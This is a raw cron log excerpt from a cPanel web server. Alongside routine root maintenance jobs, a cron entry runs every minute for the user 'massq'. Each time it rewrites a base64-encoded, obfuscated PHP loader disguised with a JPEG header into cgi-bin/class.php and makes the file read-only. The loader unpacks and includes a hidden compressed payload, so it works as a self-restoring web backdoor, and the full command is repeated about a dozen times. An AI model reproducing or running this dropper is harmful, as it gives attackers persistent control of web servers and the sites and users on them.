Aug 30 17:53:01 server CROND[6073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:53:01 server CROND[6074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:53:01 server CROND[6072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:54:01 server CROND[6451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:54:01 server CROND[6450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:54:01 server CROND[6452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:55:01 server CROND[6841]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:55:01 server CROND[6843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:55:01 server CROND[6844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:55:01 server CROND[6845]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 17:55:01 server CROND[6850]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 17:55:01 server CROND[6851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:55:01 server CROND[6846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:56:01 server CROND[7671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:56:01 server CROND[7672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:56:01 server CROND[7673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:57:01 server CROND[8057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:57:01 server CROND[8056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:57:01 server CROND[8059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:57:01 server CROND[8058]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 17:58:01 server CROND[8545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:58:01 server CROND[8546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:58:01 server CROND[8547]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 17:59:01 server CROND[8916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:59:01 server CROND[8917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:59:01 server CROND[8915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:00:01 server CROND[9303]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 18:00:01 server CROND[9302]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 18:00:01 server CROND[9305]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:00:01 server CROND[9309]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 30 18:00:01 server CROND[9311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:00:01 server CROND[9306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:00:01 server CROND[9304]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 30 18:00:01 server CROND[9313]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 18:00:01 server CROND[9307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:00:01 server CROND[9308]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:01:01 server CROND[10165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:01:01 server CROND[10166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:01:01 server CROND[10167]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 18:01:01 server CROND[10168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:01:01 server run-parts(/etc/cron.hourly)[10167]: starting 0anacron
Aug 30 18:01:01 server run-parts(/etc/cron.hourly)[10186]: finished 0anacron
Aug 30 18:02:01 server CROND[10560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:02:01 server CROND[10561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:02:01 server CROND[10562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:03:01 server CROND[10935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:03:01 server CROND[10937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:03:01 server CROND[10938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:04:01 server CROND[11407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:04:01 server CROND[11406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:04:01 server CROND[11408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
